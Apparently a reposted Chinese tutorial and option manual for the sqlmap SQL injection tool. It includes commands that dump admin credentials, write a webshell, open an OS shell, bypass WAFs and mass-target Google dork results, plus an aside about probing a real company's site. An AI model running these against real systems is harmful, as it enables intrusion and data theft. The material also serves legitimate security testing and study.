日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

sqlmap 详解

發布時間:2024/7/23 编程问答 51 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sqlmap 详解 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.


sqlmap 官網:http://sqlmap.org/

sqlmap文檔地址:https://github.com/sqlmapproject/sqlmap/wiki/Usage

sqlmap用戶手冊詳解實用版:http://www.vuln.cn/2035

手動sql 注入:http://blog.csdn.net/u011781521/article/details/53959201

sqlmap注入之tamper繞過WAF(Web Application firewall)防火墻過濾:http://www.vuln.cn/2086


http://blog.csdn.net/zgyulongfei/article/details/41017493/? ? ? ??http://www.freebuf.com/articles/web/29942.html

烏云鏡像:http://www.anquan.us/search?keywords=sqlmap&content_search_by=by_drops

注意:sqlmap只是用來檢測和利用sql注入點,并不能掃描出網站有哪些漏洞,使用前請先使用掃描工具掃出sql注入點。


sqlmap使用 思維導圖:http://download.csdn.net/detail/freeking101/9887831

sqlmap 參數

_____H_____ ___[.]_____ ___ ___ {1.1.3#stable} |_ -| . [(] | .'| . | |___|_ ["]_|_|_|__,| _||_|V |_| http://sqlmap.orgUsage: python sqlmap [options]Options(選項):-h, --help 顯示基本幫助信息-hh 顯示高級幫助信息--version 顯示版本號-v VERBOSE 詳細級別:0-6(默認為1).設置輸出信息的詳細程度0:只顯示追蹤棧 ,錯誤以及重要信息。1:還顯示信息和警告。2:顯示debug消息。3:顯示注入payload。4:顯示HTTP請求。5:顯示HTTP響應頭。6:顯示HTTP響應內容Target(目標):以下至少需要設置其中一個選項來提供給目標URL-d DIRECT 直接連接到數據庫的連接字符串。-u URL, --url=URL 目標 URL (e.g. "http://www.site.com/vuln.php?id=1")-l LOGFILE 從Burp或WebScarab代理的日志中解析目標-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file 從遠程站點地圖文件(.xml)解析目標(s)-m BULKFILE Scan multiple targets given in a textual file 掃描文本文件中給出的多個目標 -r REQUESTFILE Load HTTP request from a file 從文件加載HTTP請求 -g GOOGLEDORK Process Google dork results as target URLs 處理Google dork的結果作為目標URL-c CONFIGFILE Load options from a configuration INI file 從INI配置文件中加載選項。 Request(請求):這些選項可以用來指定如何連接到目標URL。--method=METHOD Force usage of given HTTP method (e.g. PUT) 強制使用給定的HTTP方法(e.g. PUT) --data=DATA Data string to be sent through POST 通過POST發送的數據字符串 --param-del=PARA.. Character used for splitting parameter values 用于拆分參數值的字符 --cookie=COOKIE HTTP Cookie header value HTTP Cookie頭的值 --cookie-del=COO.. Character used for splitting cookie values 用于分割Cookie值的字符 --load-cookies=L.. File containing cookies in Netscape/wget format 包含Netscape / wget格式的cookie的文件 --drop-set-cookie Ignore Set-Cookie header from response 從響應中忽略Set-Cookie頭 --user-agent=AGENT HTTP User-Agent header value 指定 HTTP User - Agent頭 --random-agent Use randomly selected HTTP User-Agent header value 使用隨機選定的HTTP User - Agent頭--host=HOST HTTP Host header value HTTP主機頭值 --referer=REFERER HTTP Referer header value 指定 HTTP Referer頭 -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1") 額外header --headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") 額外header --auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI) HTTP認證類型(Basic, Digest, NTLM or PKI) --auth-cred=AUTH.. HTTP authentication credentials (name:password) HTTP認證憑證(name:password) --auth-file=AUTH.. HTTP authentication PEM cert/private key file HTTP認證 PEM認證/私鑰文件 --ignore-401 Ignore HTTP Error 401 (Unauthorized) 忽略HTTP錯誤401(未經授權) --ignore-proxy Ignore system default proxy settings 忽略系統默認代理設置 --ignore-redirects Ignore redirection attempts--ignore-timeouts Ignore connection timeouts--proxy=PROXY Use a proxy to connect to the target URL 使用代理連接到目標網址 --proxy-cred=PRO.. Proxy authentication credentials (name:password) 代理認證證書(name:password) --proxy-file=PRO.. Load proxy list from a file 從文件中加載代理列表 --tor Use Tor anonymity network 使用Tor匿名網絡 --tor-port=TORPORT Set Tor proxy port other than default 設置Tor代理端口而不是默認值 --tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default)) 設置Tor代理類型 --check-tor Check to see if Tor is used properly 檢查Tor是否正確使用--delay=DELAY Delay in seconds between each HTTP request 每個HTTP請求之間的延遲(秒)--timeout=TIMEOUT Seconds to wait before timeout connection (default 30) 秒超時連接前等待(默認30) --retries=RETRIES Retries when the connection timeouts (default 3) 連接超時時重試(默認值3)--randomize=RPARAM Randomly change value for given parameter(s) 隨機更改給定參數的值(s) --safe-url=SAFEURL URL address to visit frequently during testing 在測試期間頻繁訪問的URL地址 --safe-post=SAFE.. POST data to send to a safe URL POST數據發送到安全URL --safe-req=SAFER.. Load safe HTTP request from a file 從文件加載安全HTTP請求 --safe-freq=SAFE.. Test requests between two visits to a given safe URL 在兩次訪問給定安全網址之間測試請求--skip-urlencode Skip URL encoding of payload data 跳過有效載荷數據的URL編碼 --csrf-token=CSR.. Parameter used to hold anti-CSRF token 參數用于保存anti-CSRF令牌 --csrf-url=CSRFURL URL address to visit to extract anti-CSRF token 提取anti-CSRF URL地址訪問令牌 --force-ssl Force usage of SSL/HTTPS 強制使用SSL / HTTPS --hpp Use HTTP parameter pollution method 使用HTTP參數pollution的方法 --eval=EVALCODE Evaluate provided Python code before the request (e.g. 評估請求之前提供Python代碼 "import hashlib;id2=hashlib.md5(id).hexdigest()")Optimization(優化):這些選項可用于優化SqlMap的性能。-o 打開所有優化開關--predict-output 預測常見的查詢輸出--keep-alive 使用持久的HTTP(S)連接--null-connection 從沒有實際的HTTP響應體中檢索頁面長度--threads=THREADS 最大的HTTP(S)請求并發量(默認為1)Injection(注入):這些選項可以用來指定測試哪些參數, 提供自定義的注入payloads和可選篡改腳本。-p TESTPARAMETER 可測試的參數(S)--skip=SKIP Skip testing for given parameter(s) 跳過對給定參數的測試 --skip-static Skip testing parameters that not appear to be dynamic 跳過測試不顯示為動態的參數 --param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses") 使用正則表達式排除參數進行測試(e.g. "ses")--dbms=DBMS 強制后端的DBMS為此值--dbms-cred=DBMS.. DBMS認證憑證(user:password) --os=OS 強制后端的DBMS操作系統為這個值--invalid-bignum 使用大數字使值無效 --invalid-logical 使用邏輯操作使值無效 --invalid-string 使用隨機字符串使值無效 --no-cast Turn off payload casting mechanism 關閉有效載荷鑄造機制 --no-escape Turn off string escaping mechanism 關閉字符串轉義機制 --prefix=PREFIX 注入payload字符串前綴--suffix=SUFFIX 注入payload字符串后綴--tamper=TAMPER 使用給定的腳本(S)篡改注入數據Detection(檢測):這些選項可用于自定義檢測階段。即這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。--level=LEVEL 執行測試的等級(1-5,默認為1)--risk=RISK 執行測試的風險(0-3,默認為1)--string=STRING 查詢有效時,在頁面匹配字符串。即當查詢被評估為True時,字符串匹配--not-string=NOT.. String to match when query is evaluated to False--regexp=REGEXP 查詢有效時,在頁面匹配正則表達式--code=CODE HTTP code to match when query is evaluated to True--text-only 僅基于在文本內容比較網頁--titles Compare pages based only on their titles 僅根據他們的標題進行比較Techniques(技巧):這些選項可用于調整具體的SQL注入測試。--technique=TECH SQL注入技術測試(默認BEUST)--time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)--union-cols=UCOLS Range of columns to test for UNION query SQL injection 定列范圍用于測試UNION查詢注入 --union-char=UCHAR Character to use for bruteforcing number of columns 用于暴力猜解列數的字符 --union-from=UFROM Table to use in FROM part of UNION query SQL injection 要在UNION查詢SQL注入的FROM部分使用的表--dns-domain=DNS.. Domain name used for DNS exfiltration attack 域名用于DNS漏出攻擊 --second-order=S.. Resulting page URL searched for second-order response 生成頁面的URL搜索為second-order響應 Fingerprint(指紋):-f, --fingerprint Perform an extensive DBMS version fingerprint。 執行檢查廣泛的DBMS版本指紋Enumeration(枚舉):這些選項可以用來列舉后端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行您自己的SQL語句-a, --all Retrieve everything-b, --banner Retrieve DBMS banner //檢索數據庫管理系統的標識--current-user Retrieve DBMS current user // 檢索數據庫管理系統當前用戶--current-db Retrieve DBMS current database //檢索數據庫管理系統當前數據庫--hostname Retrieve DBMS server hostname--is-dba Detect if the DBMS current user is DBA //檢測DBMS當前用戶是否DBA--users Enumerate DBMS users //枚舉數據庫管理系統所有的用戶--passwords Enumerate DBMS users password hashes //枚舉數據庫管理系統用戶密碼哈希--privileges Enumerate DBMS users privileges //枚舉數據庫管理系統用戶的權限--roles Enumerate DBMS users roles //枚舉數據庫管理系統用戶的角色--dbs Enumerate DBMS databases //枚舉數據庫管理系統所有數據庫--tables Enumerate DBMS database tables //枚舉的DBMS數據庫中所有的表--columns Enumerate DBMS database table columns //枚舉DBMS數據庫表所有的列--schema Enumerate DBMS schema--count Retrieve number of entries for table(s)--dump Dump DBMS database table entries //轉儲數據庫管理系統的數據庫中的表項--dump-all Dump all DBMS databases tables entries //轉儲所有的DBMS數據庫表中的條目--search Search column(s), table(s) and/or database name(s) //搜索列(S),表(S)和/或數據庫名稱(S)--comments Retrieve DBMS comments-D DB DBMS database to enumerate // 要進行枚舉的指定數據庫名-T TBL DBMS database table(s) to enumerate // 要進行枚舉的指定數據庫表(如:-T tablename –columns)-C COL DBMS database table column(s) to enumerate //要進行枚舉的數據庫列-X EXCLUDECOL DBMS database table column(s) to not enumerate-U USER DBMS user to enumerate //用來進行枚舉的數據庫用戶--exclude-sysdbs Exclude DBMS system databases when enumerating tables //枚舉表時排除系統數據庫--pivot-column=P.. Pivot column name--where=DUMPWHERE Use WHERE condition while table dumping--start=LIMITSTART First query output entry to retrieve //第一個查詢輸出進入檢索--stop=LIMITSTOP Last query output entry to retrieve //最后查詢的輸出進入檢索--first=FIRSTCHAR First query output word character to retrieve //第一個查詢輸出字的字符檢索--last=LASTCHAR Last query output word character to retrieve //最后查詢的輸出字字符檢索--sql-query=QUERY SQL statement to be executed //要執行的SQL語句--sql-shell Prompt for an interactive SQL shell // 提示交互式SQL的shell--sql-file=SQLFILE Execute SQL statements from given file(s)Brute force(野蠻、蠻力):這些選項可以被用來運行蠻力檢查。--common-tables Check existence of common tables // 檢查存在共同表--common-columns Check existence of common columns // 檢查存在共同列User-defined function injection(用戶自定義函數注入):這些選項可以用來創建用戶自定義函數。--udf-inject Inject custom user-defined functions // 注入用戶自定義函數--shared-lib=SHLIB Local path of the shared library // 共享庫的本地路徑File system access(訪問文件系統):這些選項可以被用來訪問后端數據庫管理系統的底層文件系統。--file-read=RFILE Read a file from the back-end DBMS file system // 從后端的數據庫管理系統文件系統讀取文件--file-write=WFILE Write a local file on the back-end DBMS file system // 編輯后端的數據庫管理系統文件系統上的本地文件--file-dest=DFILE Back-end DBMS absolute filepath to write to // 后端的數據庫管理系統寫入文件的絕對路徑Operating system access(操作系統訪問):這些選項可以用于訪問后端數據庫管理系統的底層操作系統。--os-cmd=OSCMD 執行操作系統命令--os-shell Prompt for an interactive operating system shell // 交互式的操作系統的shell--os-pwn Prompt for an OOB shell, Meterpreter or VNC // 獲取一個OOB shell,meterpreter或VNC--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC // 一鍵獲取一個OOB shell,meterpreter或VNC--os-bof Stored procedure buffer overflow exploitation // 存儲過程緩沖區溢出利用--priv-esc Database process user privilege escalation // 數據庫進程用戶權限提升--msf-path=MSFPATH Local path where Metasploit Framework is installed // Metasploit Framework本地的安裝路徑--tmp-path=TMPPATH Remote absolute path of temporary files directory // 遠程臨時文件目錄的絕對路徑Windows registry access(Windows注冊表訪問):這些選項可以被用來訪問后端數據庫管理系統Windows注冊表。--reg-read 讀一個Windows注冊表項值--reg-add 寫一個Windows注冊表項值數據--reg-del 刪除Windows注冊表鍵值--reg-key=REGKEY Windows注冊表鍵--reg-value=REGVAL Windows注冊表項的值--reg-data=REGDATA Windows注冊表鍵值數據--reg-type=REGTYPE Windows注冊表項值類型General(一般,通用,基本):這些選項可以用來設置一些一般的工作參數。-s SESSIONFILE Load session from a stored (.sqlite) file 保存和恢復檢索會話文件的所有數據 -t TRAFFICFILE Log all HTTP traffic into a textual file 記錄所有HTTP流量到一個文本文件中 --batch Never ask for user input, use the default behaviour 從不詢問用戶輸入,使用所有默認配置。--binary-fields=.. Result fields having binary values (e.g. "digest") 具有二進制值的結果字段 --charset=CHARSET Force character encoding used for data retrieval 強制用于數據檢索的字符編碼--crawl=CRAWLDEPTH Crawl the website starting from the target URL 從目標網址開始抓取網站--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout") 正則表達式排除網頁抓取 --csv-del=CSVDEL Delimiting character used in CSV output (default ",") 分隔CSV輸出中使用的字符--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE) 轉儲數據的格式--eta Display for each output the estimated time of arrival 顯示每個輸出的預計到達時間--flush-session Flush session files for current target 刷新當前目標的會話文件 --forms Parse and test forms on target URL 在目標網址上解析和測試表單--fresh-queries Ignore query results stored in session file 忽略在會話文件中存儲的查詢結果--hex Use DBMS hex function(s) for data retrieval 使用DBMS hex函數進行數據檢索 --output-dir=OUT.. Custom output directory path 自定義輸出目錄路徑 --parse-errors Parse and display DBMS error messages from responses 解析和顯示響應中的DBMS錯誤消息--save=SAVECONFIG Save options to a configuration INI file 保存選項到INI配置文件 --scope=SCOPE Regexp to filter targets from provided proxy log 使用正則表達式從提供的代理日志中過濾目標--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW) 根據有效負載和/或標題(e.g. ROW)選擇測試--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK) 根據有效負載和/或標題跳過測試(e.g. BENCHMARK) --update Update sqlmap 更新SqlMap Miscellaneous(雜項):-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU") 使用簡短的助記符 --alert=ALERT Run host OS command(s) when SQL injection is found 在找到SQL注入時運行主機操作系統命令 --answers=ANSWERS Set question answers (e.g. "quit=N,follow=N") 設置問題答案 --beep 發現SQL注入時提醒--cleanup Clean up the DBMS from sqlmap specific UDF and tables SqlMap具體的UDF和表清理DBMS --dependencies Check for missing (non-core) sqlmap dependencies 檢查是否缺少(非內核)sqlmap依賴關系--disable-coloring Disable console output coloring 禁用控制臺輸出顏色 --gpage=GOOGLEPAGE Use Google dork results from specified page number 使用Google dork結果指定頁碼 --identify-waf Make a thorough testing for a WAF/IPS/IDS protection 對WAF / IPS / IDS保護進行全面測試 --mobile Imitate smartphone through HTTP User-Agent header --offline Work in offline mode (only use session data) 在離線模式下工作(僅使用會話數據) --purge-output Safely remove all content from output directory 安全地從輸出目錄中刪除所有內容 --skip-waf Skip heuristic detection of WAF/IPS/IDS protection 跳過啟發式檢測WAF / IPS / IDS保護 --smart Conduct thorough tests only if positive heuristic(s) 只有在正啟發式時才進行徹底測試 --sqlmap-shell Prompt for an interactive sqlmap shell--tmp-dir=TMPDIR Local directory for storing temporary files--web-root=WEBROOT Web server document root directory (e.g. "/var/www")--wizard Simple wizard interface for beginner users 給初級用戶的簡單向導界面


sqlmap簡介

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

當給sqlmap這么一個url的時候,它會:
? ? ? ? 1、判斷可注入的參數
? ? ? ? 2、判斷可以用那種SQL注入技術來注入
? ? ? ? 3、識別出哪種數據庫
? ? ? ? 4、根據用戶選擇,讀取哪些數據

sqlmap支持五種不同的注入模式:

1、基于布爾的盲注,即可以根據返回頁面判斷條件真假的注入。 2、基于時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。 3、基于報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。 4、聯合查詢注入,可以使用union的情況下的注入。 5、堆查詢注入,可以同時執行多條語句的執行時的注入。

sqlmap支持的數據庫

? ? ? ? sqlmap支持的數據庫有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB


目標

可以提供一個簡單的URL,Burp或WebScarab請求日志文件,文本文檔中的完整http請求或者Google的搜索,匹配出結果頁面,也可以自己定義一個正則來判斷那個地址去測試。

測試GET參數,POST參數,HTTP Cookie參數,HTTP User-Agent頭和HTTP Referer頭來確認是否有SQL注入,它也可以指定用逗號分隔的列表的具體參數來測試。

可以設定HTTP(S)請求的并發數,來提高盲注時的效率。

Youtube上有人做的使用sqlmap的視頻:

http://www.youtube.com/user/inquisb/videos

http://www.youtube.com/user/stamparm/videos

使用sqlmap的實例文章:

http://unconciousmind.blogspot.com/search/label/sqlmap

可以點擊https://github.com/sqlmapproject/sqlmap/tarball/master下載最新版本sqlmap。

也可以使用git來獲取sqlmap

如果你想觀察sqlmap對一個點是進行了怎樣的嘗試判斷以及讀取數據的,可以使用-v參數

共有七個等級,默認為1:

0、只顯示python錯誤以及嚴重的信息。 1、同時顯示基本信息和警告信息。(默認) 2、同時顯示debug信息。 3、同時顯示注入的payload。 4、同時顯示HTTP請求。 5、同時顯示HTTP響應頭。 6、同時顯示HTTP響應頁面。 如果你想看到sqlmap發送的測試payload最好的等級就是3。

檢測注入

基本格式( URL 需要使用 英文雙引號 引起來 )

sqlmap -u "http://www.vuln.cn/post.php?id=1" //默認使用level1檢測全部數據庫類型 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level=3 //指定數據庫類型為mysql,級別為3(共5級,級別越高,檢測越全面)



跟隨302跳轉

當注入頁面錯誤的時候,自動跳轉到另一個頁面的時候需要跟隨302,當注入錯誤的時候,先報錯再跳轉的時候,不需要跟隨302。目的就是:要追蹤到錯誤信息。

cookie注入

當程序有防get注入的時候,可以使用cookie注入

sqlmap -u "http://www.baidu.com/shownews.asp" --cookie="id=11" --level 2 (只有level達到2才會檢測cookie)

從post數據包中注入

可以使用burpsuite或者temperdata等工具來抓取post包sqlmap -r "c:\tools\request.txt" -p "username" --dbms=mysql 指定username參數

注入成功后

獲取數據庫基本信息

sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 --dbs 查詢有哪些數據庫 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test --tables 查詢test數據庫中有哪些表 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin --columns 查詢test數據庫中admin表有哪些字段 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin -C "username,password" --dump dump出字段username與password中的數據


從數據庫中搜索字段

sqlmap -r "c:\tools\request.txt" --dbms=mysql -D dedecms --search -C admin,password 在dedecms數據庫中搜索字段admin或者password。

讀取與寫入文件

首先找需要網站的物理路徑,其次需要有可寫或可讀權限。--file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件 (物理路徑) --file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件 (mssql xp_shell) --file-dest=DFILE 后端的數據庫管理系統寫入文件的絕對路徑 #示例: sqlmap -r "c:\request.txt" -p id --dbms=mysql --file-dest="e:\php\htdocs\dvwa\inc\include\1.php" --file-write "f:\webshell\1112.php"使用shell命令:sqlmap -r "c:\tools\request.txt" -p id --dms=mysql --os-shell 接下來指定網站可寫目錄: "E:\php\htdocs\dvwa"#注:mysql不支持列目錄,僅支持讀取單個文件。sqlserver可以列目錄,不能讀寫文件,但需要一個(xp_dirtree函數)

sqlmap詳細命令:

  • –is-dba 當前用戶權限(是否為root權限)
  • –dbs 所有數據庫
  • –current-db 網站當前數據庫
  • –users 所有數據庫用戶
  • –current-user 當前數據庫用戶
  • –random-agent 構造隨機user-agent
  • –passwords 數據庫密碼
  • –proxy http://local:8080 –threads 10 (可以自定義線程加速) 代理
  • –time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)

——————————————————————————————————

sqlmap用戶手冊

獲取目標方式

目標URL

參數:-u或者--url

格式:http(s)://targeturl[:port]/[…]

例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

本地測試結果截圖


也可以從Burp或者WebScarab代理中獲取日志

參數:-l

可以直接把 Burp proxy 或者 WebScarab proxy 中的日志直接倒出來交給 sqlmap 來一個一個檢測是否有注入。

從文本中獲取多個目標掃描

參數:-m

文件中保存url格式如下,sqlmap會一個一個檢測

www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1* 從文件中加載HTTP請求

參數:-r

sqlmap可以從一個文本文件中獲取HTTP請求,這樣就可以跳過設置一些其他參數(比如cookie,POST數據,等等)。

比如文本文件內如下:

POST /vuln.php HTTP/1.1 Host: www.target.com User-Agent: Mozilla/4.0id=1

當請求是HTTPS的時候你需要配合這個--force-ssl參數來使用,或者你可以在Host頭后面加上:443


處理Google的搜索結果

參數:-g

sqlmap可以測試注入Google的搜索結果中的GET參數(只獲取前100個結果)

例子:

python sqlmap.py -g "inurl:\".php?id=1\""

(很牛B的功能,測試了一下,第十幾個就找到新浪的一個注入點)。此外可以使用-c參數加載sqlmap.conf文件里面的相關配置。

請求

http數據

參數:--data

此參數是把數據以POST方式提交,sqlmap會像檢測GET參數一樣檢測POST的參數。

例子:python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

參數拆分字符

參數:--param-del

當GET或POST的數據需要用其他字符分割測試參數的時候需要用到此參數。

例子:python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

HTTP cookie頭

參數:--cookie,--load-cookies,--drop-set-cookie

這個參數在以下兩個方面很有用:

1、web應用需要登陸的時候。

2、你想要在這些頭參數中測試SQL注入時。可以通過抓包把cookie獲取到,復制出來,然后加到--cookie參數里。在HTTP請求中,遇到Set-Cookie的話,sqlmap會自動獲取并且在以后的請求中加入,并且會嘗試SQL注入。如果你不想接受Set-Cookie可以使用--drop-set-cookie參數來拒接。當你使用--cookie參數時,當返回一個Set-Cookie頭的時候,sqlmap會詢問你用哪個cookie來繼續接下來的請求。當--level的參數設定為2或者2以上的時候,sqlmap會嘗試注入Cookie參數。

HTTP User-Agent頭

參數:--user-agent,--random-agent

默認情況下sqlmap的HTTP請求頭中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) 可以使用--user-anget參數來修改,同時也可以使用--random-agnet參數來隨機的從./txt/user-agents.txt中獲取。當--level參數設定為3或者3以上的時候,會嘗試對User-Angent進行注入。

HTTP Referer頭

參數:--referer

sqlmap可以在請求中偽造HTTP中的referer,當--level參數設定為3或者3以上的時候會嘗試對referer注入。

額外的HTTP頭

參數:--headers

可以通過--headers參數來增加額外的http頭

HTTP認證保護

參數:--auth-type,--auth-cred

這些參數可以用來登陸HTTP的認證保護支持三種方式:1、Basic 。2、Digest 。3、NTLM

例子:python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP協議的證書認證

參數:--auth-cert

當Web服務器需要客戶端證書進行身份驗證時,需要提供兩個文件:key_file,cert_file。key_file是格式為PEM文件,包含著你的私鑰,cert_file是格式為PEM的連接文件。

HTTP(S)代理

參數:--proxy,--proxy-cred和--ignore-proxy

使用--proxy代理是格式為:http://url:port。

當HTTP(S)代理需要認證是可以使用--proxy-cred參數:username:password。

--ignore-proxy拒絕使用本地局域網的HTTP(S)代理。

HTTP請求延遲

參數:--delay

可以設定兩個HTTP(S)請求間的延遲,設定為0.5的時候是半秒,默認是沒有延遲的。

設定超時時間

參數:--timeout

可以設定一個HTTP(S)請求超過多久判定為超時,10.5表示10.5秒,默認是30秒。

設定重試超時

參數:--retries

當HTTP(S)超時時,可以設定重新嘗試連接次數,默認是3次。

設定隨機改變的參數值

參數:--randomize

可以設定某一個參數值在每一次請求中隨機的變化,長度和類型會與提供的初始值一樣。

利用正則過濾目標網址

參數:--scope

例如:python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免過多的錯誤請求被屏蔽

參數:--safe-url,--safe-freq

有的web應用程序會在你多次訪問錯誤的請求時屏蔽掉你以后的所有請求,這樣在sqlmap進行探測或者注入的時候可能造成錯誤請求而觸發這個策略,導致以后無法進行。

繞過這個策略有兩種方式:

1、--safe-url:提供一個安全不錯誤的連接,每隔一段時間都會去訪問一下。 2、--safe-freq:提供一個安全不錯誤的連接,每次測試請求之后都會再訪問一邊安全連接。 關掉URL參數值編碼

參數:--skip-urlencode

根據參數位置,他的值默認將會被URL編碼,但是有些時候后端的web服務器不遵守RFC標準,只接受不經過URL編碼的值,這時候就需要用--skip-urlencode參數。

每次請求時候執行自定義的python代碼

參數:--eval

在有些時候,需要根據某個參數的變化,而修改另個一參數,才能形成正常的請求,這時可以用--eval參數在每次請求時根據所寫python代碼做完修改后請求。

例子:python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的請求就是每次請求時根據id參數值,做一次md5后作為hash參數的值。

注入

測試參數

參數:-p,--skip

sqlmap默認測試所有的GET和POST參數,當--level的值大于等于2的時候也會測試HTTP Cookie頭的值,當大于等于3的時候也會測試User-Agent和HTTP Referer頭的值。但是你可以手動用-p參數設置想要測試的參數。例如: -p "id,user-anget" ? 當你使用--level的值很大但是有個別參數不想測試的時候可以使用--skip參數。
例如:--skip="user-angent.referer"
在有些時候web服務器使用了URL重寫,導致無法直接使用sqlmap測試參數,可以在想測試的參數后面加*

例如:python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

sqlmap將會測試value1的位置是否可注入。

指定數據庫

參數:--dbms

默認情況系sqlmap會自動的探測web應用后端的數據庫是什么,sqlmap支持的數據庫有:MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定數據庫服務器系統

參數:--os

默認情況下sqlmap會自動的探測數據庫服務器系統,支持的系統有:Linux、Windows。

指定無效的大數字

參數:--invalid-bignum

當你想指定一個報錯的數值時,可以使用這個參數,例如默認情況系id=13,sqlmap會變成id=-13來報錯,你可以指定比如id=9999999來報錯。

指定無效的邏輯

參數:--invalid-logical

原因同上,可以指定id=13把原來的id=-13的報錯改成id=13 AND 18=19。

注入payload

參數:--prefix,--suffix

在有些環境中,需要在注入的payload的前面或者后面加一些字符,來保證payload的正常執行。

例如,代碼中是這樣調用數據庫的:$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

這時你就需要--prefix和--suffix參數了:python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

這樣執行的SQL語句變成:$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";

修改注入的數據

參數:--tamper

sqlmap除了使用CHAR()函數來防止出現單引號之外沒有對注入的數據修改,你可以使用--tamper參數對數據做修改來繞過WAF等設備。

下面是一個tamper腳本的格式:

# Needed imports from lib.core.enums import PRIORITY # Define which is the order of application of tamper scripts against # the payload __priority__ = PRIORITY.NORMAL def tamper(payload):'''Description of your tamper script'''retVal = payload# your code to tamper the original payload# return the tampered payloadreturn retVal

可以查看 tamper/ 目錄下的有哪些可用的腳本.?例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

探測

探測等級

參數:--level

共有五個等級,默認為1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根據相應的格式添加自己的payload。這個參數不僅影響使用哪些payload同時也會影響測試的注入點,GET和POST的數據都會測試,HTTP Cookie在level為2的時候就會測試,HTTP User-Agent/Referer頭在level為3的時候就會測試。總之在你不確定哪個payload或者參數為注入點的時候,為了保證全面性,建議使用高的level值。

風險等級

參數:--risk

共有四個風險等級,默認是1會測試大部分的測試語句,2會增加基于事件的測試語句,3會增加OR語句的SQL注入測試。在有些時候,例如在UPDATE的語句中,注入一個OR的測試語句,可能導致更新的整個表,可能造成很大的風險。測試的語句同樣可以在xml/payloads.xml中找到,你也可以自行添加payload。

頁面比較

參數:--string,--not-string,--regexp,--code

默認情況下sqlmap通過判斷返回頁面的不同來判斷真假,但有時候這會產生誤差,因為有的頁面在每次刷新的時候都會返回不同的代碼,比如頁面當中包含一個動態的廣告或者其他內容,這會導致sqlmap的誤判。此時用戶可以提供一個字符串或者一段正則匹配,在原始頁面與真條件下的頁面都存在的字符串,而錯誤頁面中不存在(使用--string參數添加字符串,--regexp添加正則),同時用戶可以提供一段字符串在原始頁面與真條件下的頁面都不存在的字符串,而錯誤頁面中存在的字符串(--not-string添加)。用戶也可以提供真與假條件返回的HTTP狀態碼不一樣來注入,例如,響應200的時候為真,響應401的時候為假,可以添加參數--code=200。

參數:--text-only,--titles

有些時候用戶知道真條件下的返回頁面與假條件下返回頁面是不同位置在哪里可以使用--text-only(HTTP響應體中不同)--titles(HTML的title標簽中不同)

注入技術

測試是否是注入

參數:--technique

這個參數可以指定sqlmap使用的探測技術,默認情況下會測試所有的方式。支持的探測方式如下:

B: Boolean-based blind SQL injection(布爾型注入) E: Error-based SQL injection(報錯型注入) U: UNION query SQL injection(可聯合查詢注入) S: Stacked queries SQL injection(可多語句查詢注入) T: Time-based blind SQL injection(基于時間延遲注入) 設定延遲注入的時間

參數:--time-sec

